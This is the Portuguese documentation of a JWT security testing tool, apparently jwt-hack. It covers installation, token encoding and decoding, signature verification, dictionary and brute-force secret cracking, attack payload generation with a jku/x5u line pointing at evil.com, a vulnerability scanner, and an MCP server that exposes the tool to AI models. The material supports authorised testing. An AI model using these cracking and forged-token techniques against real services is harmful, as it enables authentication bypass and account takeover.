
Kit de Ferramentas para Hack de JSON Web Tokens
Kit de Ferramentas para Hackear JSON Web Token
Um kit de ferramentas de alto desempenho para testar, analisar e atacar JSON Web Tokens.
cargo install jwt-hack
brew install jwt-hack
sudo snap install jwt-hack
choco install jwt-hack
git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .
docker pull ghcr.io/hahwul/jwt-hack:latest
docker pull hahwul/jwt-hack:v2.6.0
| Modo | Descrição | Suporte |
|---|---|---|
| Encode | Codificador JWT/JWE | Baseado em segredo / Baseado em chave / Algoritmo / Cabeçalho Personalizado / Compressão DEFLATE / JWE |
| Decode | Decodificador JWT/JWE | Algoritmo, Verificação de Emissão, Compressão DEFLATE, Estrutura JWE |
| Verify | Verificador de JWT | Baseado em segredo / Baseado em chave (para algoritmos assimétricos) |
| Crack | Quebrador de Segredos | Ataque de Dicionário / Força Bruta / Compressão DEFLATE |
| Payload | Gerador de Payload de Ataque JWT | none / jku&x5u / alg_confusion (assinado via --public-key) / injeção de kid & claim / adulteração de claims / maleabilidade de assinatura / sondagens JWE / x5c / cty |
| Scan | Scanner de Vulnerabilidades | Verificações de segurança automatizadas para vulnerabilidades comuns em JWT |
| Server | Servidor de API | Executar Modo Servidor de API (http://localhost:3000) |
| MCP | Servidor de Protocolo de Contexto de Modelo | Integração com modelos de IA via protocolo padronizado |
Você pode decodificar tanto JWTs regulares quanto comprimidos com DEFLATE. A ferramenta detectará e descomprimirá automaticamente tokens comprimidos.
jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN
Decodifique tokens JWE (JSON Web Encryption) para analisar sua estrutura. A ferramenta detecta automaticamente o formato JWE (5 partes) e exibe os detalhes da criptografia.
# Decode JWE token structure
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn
# Shows JWE header, encrypted key, IV, ciphertext, and authentication tag
jwt-hack encode '{"sub":"1234"}' --secret=your-secret
Você pode usar a opção --compress para aplicar compressão DEFLATE ao payload do JWT.
jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress
# With Private Key
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256
Crie tokens JWE (JSON Web Encryption) para testar cenários de JWT criptografado.
# Basic JWE encoding
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret
# JWE tokens are encrypted and can only be decrypted with the proper key
jwt-hack encode '{"sensitive":"data"}' --jwe
Verifica se a assinatura de um JWT é válida usando o segredo ou a chave fornecidos.
# With Secret (HMAC algorithms like HS256, HS384, HS512)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret
# With Private Key (for asymmetric algorithms like RS256, ES256, EdDSA)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key
Ataques de dicionário e força bruta também suportam JWTs comprimidos com DEFLATE.
# Dictionary attack
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN
# Bruteforce attack
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4
jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com
Escaneia automaticamente tokens JWT em busca de problemas de segurança e vulnerabilidades comuns.
# Full scan including weak secret detection and payload generation
jwt-hack scan JWT_TOKEN
# Skip secret cracking for faster results
jwt-hack scan JWT_TOKEN --skip-crack
# Skip payload generation
jwt-hack scan JWT_TOKEN --skip-payloads
# Use custom wordlist for weak secret detection
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt
# Limit secret testing attempts
jwt-hack scan JWT_TOKEN --max-crack-attempts 50
O comando scan verifica:
Inicie uma REST API local para automação e integrações. Para exigir autenticação, use --api-key e inclua X-API-KEY nas requisições.
# Start on localhost:3000 with API key protection
jwt-hack server --api-key your-api-key
# Example request (must include X-API-KEY when --api-key is set)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'
O jwt-hack pode ser executado como um servidor MCP, permitindo que modelos de IA interajam com a funcionalidade JWT através de um protocolo padronizado.
# Start MCP server (communicates via stdio)
jwt-hack mcp
O servidor MCP expõe as seguintes ferramentas: